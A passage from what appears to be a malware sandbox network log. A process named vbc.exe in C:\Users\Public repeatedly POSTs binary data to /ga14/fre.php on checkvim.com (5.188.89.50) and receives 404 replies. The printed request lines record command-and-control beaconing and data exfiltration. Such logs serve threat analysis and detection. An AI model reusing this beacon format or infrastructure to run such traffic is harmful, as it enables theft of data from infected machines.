132	192.168.2.22	49297	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
133	192.168.2.22	49298	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
134	192.168.2.22	49299	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
135	192.168.2.22	49300	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
136	192.168.2.22	49301	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
137	192.168.2.22	49302	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
138	192.168.2.22	49303	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
139	192.168.2.22	49304	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.22	49179	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Sep 28, 2021 06:50:41.640229940 CEST	238	OUT	POST /ga14/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: checkvim.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 66369A18 Content-Length: 149 Connection: close
Sep 28, 2021 06:50:42.012145042 CEST	239	IN	HTTP/1.0 404 Not Found Date: Tue, 28 Sep 2021 04:50:53 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
140	192.168.2.22	49305	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
141	192.168.2.22	49306	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
142	192.168.2.22	49307	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.22	49180	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Sep 28, 2021 06:50:42.299756050 CEST	239	OUT	POST /ga14/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: checkvim.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 66369A18 Content-Length: 149 Connection: close
Sep 28, 2021 06:50:42.665060043 CEST	240	IN	HTTP/1.0 404 Not Found Date: Tue, 28 Sep 2021 04:50:54 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.22	49181	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Sep 28, 2021 06:50:42.959615946 CEST	241	OUT	POST /ga14/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: checkvim.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 66369A18 Content-Length: 149 Connection: close
Sep 28, 2021 06:50:43.342381954 CEST	241	IN	HTTP/1.0 404 Not Found Date: Tue, 28 Sep 2021 04:50:54 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.22	49182	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Sep 28, 2021 06:50:43.668917894 CEST	242	OUT	POST /ga14/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: checkvim.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 66369A18 Content-Length: 149 Connection: close
Sep 28, 2021 06:50:44.033987999 CEST	243	IN	HTTP/1.0 404 Not Found Date: Tue, 28 Sep 2021 04:50:55 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.22	49183	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Sep 28, 2021 06:50:44.317406893 CEST	243	OUT	POST /ga14/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: checkvim.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 66369A18 Content-Length: 149 Connection: close
Sep 28, 2021 06:50:44.690879107 CEST	244	IN	HTTP/1.0 404 Not Found Date: Tue, 28 Sep 2021 04:50:56 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.22	49184	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Sep 28, 2021 06:50:44.980669022 CEST	245	OUT	POST /ga14/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: checkvim.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 66369A18 Content-Length: 149 Connection: close
Sep 28, 2021 06:50:45.327651024 CEST	245	IN	HTTP/1.0 404 Not Found Date: Tue, 28 Sep 2021 04:50:56 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.22	49167	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Sep 28, 2021 06:50:30.225629091 CEST	221	OUT	POST /ga14/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: checkvim.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 66369A18 Content-Length: 176 Connection: close
Sep 28, 2021 06:50:30.580647945 CEST	222	IN	HTTP/1.0 404 Not Found Date: Tue, 28 Sep 2021 04:50:41 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 15 Content-Type: text/html; charset=UTF-8 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.22	49185	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Sep 28, 2021 06:50:45.606333017 CEST	246	OUT	POST /ga14/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: checkvim.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 66369A18 Content-Length: 149 Connection: close
Sep 28, 2021 06:50:45.970263958 CEST	247	IN	HTTP/1.0 404 Not Found Date: Tue, 28 Sep 2021 04:50:57 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.22	49186	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Sep 28, 2021 06:50:46.257925987 CEST	248	OUT	POST /ga14/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: checkvim.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 66369A18 Content-Length: 149 Connection: close
Sep 28, 2021 06:50:46.621850967 CEST	248	IN	HTTP/1.0 404 Not Found Date: Tue, 28 Sep 2021 04:50:57 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.22	49187	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Sep 28, 2021 06:50:46.934037924 CEST	249	OUT	POST /ga14/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: checkvim.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 66369A18 Content-Length: 149 Connection: close
Sep 28, 2021 06:50:47.284598112 CEST	250	IN	HTTP/1.0 404 Not Found Date: Tue, 28 Sep 2021 04:50:58 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.22	49188	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Sep 28, 2021 06:50:47.567337990 CEST	250	OUT	POST /ga14/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: checkvim.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 66369A18 Content-Length: 149 Connection: close
Sep 28, 2021 06:50:47.929215908 CEST	251	IN	HTTP/1.0 404 Not Found Date: Tue, 28 Sep 2021 04:50:59 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.22	49189	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Sep 28, 2021 06:50:48.217751026 CEST	252	OUT	POST /ga14/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: checkvim.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 66369A18 Content-Length: 149 Connection: close
Sep 28, 2021 06:50:48.600373983 CEST	252	IN	HTTP/1.0 404 Not Found Date: Tue, 28 Sep 2021 04:50:59 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.22	49190	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Sep 28, 2021 06:50:48.901348114 CEST	253	OUT	POST /ga14/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: checkvim.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 66369A18 Content-Length: 149 Connection: close
Sep 28, 2021 06:50:49.275072098 CEST	254	IN	HTTP/1.0 404 Not Found Date: Tue, 28 Sep 2021 04:51:00 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.22	49191	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Sep 28, 2021 06:50:49.543982983 CEST	255	OUT	POST /ga14/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: checkvim.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 66369A18 Content-Length: 149 Connection: close
Sep 28, 2021 06:50:49.910859108 CEST	255	IN	HTTP/1.0 404 Not Found Date: Tue, 28 Sep 2021 04:51:01 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.22	49192	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Sep 28, 2021 06:50:50.201147079 CEST	256	OUT	POST /ga14/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: checkvim.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 66369A18 Content-Length: 149 Connection: close
Sep 28, 2021 06:50:50.559416056 CEST	257	IN	HTTP/1.0 404 Not Found Date: Tue, 28 Sep 2021 04:51:01 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.22	49193	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Sep 28, 2021 06:50:50.837245941 CEST	257	OUT	POST /ga14/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: checkvim.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 66369A18 Content-Length: 149 Connection: close
Sep 28, 2021 06:50:51.200424910 CEST	258	IN	HTTP/1.0 404 Not Found Date: Tue, 28 Sep 2021 04:51:02 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.22	49194	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Sep 28, 2021 06:50:51.664554119 CEST	259	OUT	POST /ga14/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: checkvim.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 66369A18 Content-Length: 149 Connection: close
Sep 28, 2021 06:50:52.034302950 CEST	259	IN	HTTP/1.0 404 Not Found Date: Tue, 28 Sep 2021 04:51:03 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.22	49168	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Sep 28, 2021 06:50:30.788969040 CEST	223	OUT	POST /ga14/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: checkvim.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 66369A18 Content-Length: 149 Connection: close
Sep 28, 2021 06:50:31.149317026 CEST	223	IN	HTTP/1.0 404 Not Found Date: Tue, 28 Sep 2021 04:50:42 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.22	49195	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Sep 28, 2021 06:50:52.442626953 CEST	260	OUT	POST /ga14/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: checkvim.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 66369A18 Content-Length: 149 Connection: close
Sep 28, 2021 06:50:52.784749985 CEST	261	IN	HTTP/1.0 404 Not Found Date: Tue, 28 Sep 2021 04:51:04 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.22	49196	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Sep 28, 2021 06:50:53.378968954 CEST	261	OUT	POST /ga14/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: checkvim.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 66369A18 Content-Length: 149 Connection: close
Sep 28, 2021 06:50:53.741503000 CEST	262	IN	HTTP/1.0 404 Not Found Date: Tue, 28 Sep 2021 04:51:05 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.22	49197	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Sep 28, 2021 06:50:54.025804996 CEST	263	OUT	POST /ga14/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: checkvim.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 66369A18 Content-Length: 149 Connection: close
Sep 28, 2021 06:50:54.384705067 CEST	263	IN	HTTP/1.0 404 Not Found Date: Tue, 28 Sep 2021 04:51:05 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.22	49198	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Sep 28, 2021 06:50:54.678868055 CEST	264	OUT	POST /ga14/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: checkvim.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 66369A18 Content-Length: 149 Connection: close
Sep 28, 2021 06:50:55.031650066 CEST	265	IN	HTTP/1.0 404 Not Found Date: Tue, 28 Sep 2021 04:51:06 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.22	49199	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Sep 28, 2021 06:50:55.313486099 CEST	266	OUT	POST /ga14/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: checkvim.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 66369A18 Content-Length: 149 Connection: close
Sep 28, 2021 06:50:55.687469006 CEST	266	IN	HTTP/1.0 404 Not Found Date: Tue, 28 Sep 2021 04:51:07 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.22	49200	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Sep 28, 2021 06:50:55.987133980 CEST	267	OUT	POST /ga14/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: checkvim.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 66369A18 Content-Length: 149 Connection: close
Sep 28, 2021 06:50:56.347594023 CEST	268	IN	HTTP/1.0 404 Not Found Date: Tue, 28 Sep 2021 04:51:07 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.22	49201	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Sep 28, 2021 06:50:56.626189947 CEST	268	OUT	POST /ga14/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: checkvim.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 66369A18 Content-Length: 149 Connection: close
Sep 28, 2021 06:50:56.996386051 CEST	269	IN	HTTP/1.0 404 Not Found Date: Tue, 28 Sep 2021 04:51:08 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.22	49202	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Sep 28, 2021 06:50:57.284758091 CEST	270	OUT	POST /ga14/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: checkvim.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 66369A18 Content-Length: 149 Connection: close
Sep 28, 2021 06:50:57.618108034 CEST	270	IN	HTTP/1.0 404 Not Found Date: Tue, 28 Sep 2021 04:51:08 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.22	49203	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Sep 28, 2021 06:50:57.890671015 CEST	271	OUT	POST /ga14/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: checkvim.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 66369A18 Content-Length: 149 Connection: close
Sep 28, 2021 06:50:58.297914982 CEST	272	IN	HTTP/1.0 404 Not Found Date: Tue, 28 Sep 2021 04:51:09 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.22	49204	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Sep 28, 2021 06:50:58.583041906 CEST	273	OUT	POST /ga14/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: checkvim.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 66369A18 Content-Length: 149 Connection: close
Sep 28, 2021 06:50:58.927284956 CEST	273	IN	HTTP/1.0 404 Not Found Date: Tue, 28 Sep 2021 04:51:10 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.22	49169	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Sep 28, 2021 06:50:31.556288004 CEST	224	OUT	POST /ga14/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: checkvim.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 66369A18 Content-Length: 149 Connection: close
Sep 28, 2021 06:50:31.912451982 CEST	225	IN	HTTP/1.0 404 Not Found Date: Tue, 28 Sep 2021 04:50:43 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.22	49205	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Sep 28, 2021 06:50:59.242790937 CEST	274	OUT	POST /ga14/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: checkvim.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 66369A18 Content-Length: 149 Connection: close
Sep 28, 2021 06:50:59.601229906 CEST	275	IN	HTTP/1.0 404 Not Found Date: Tue, 28 Sep 2021 04:51:10 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.2.22	49206	5.188.89.50	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Sep 28, 2021 06:50:59.885917902 CEST	275	OUT	POST /ga14/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: checkvim.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 66369A18 Content-Length: 149 Connection: close
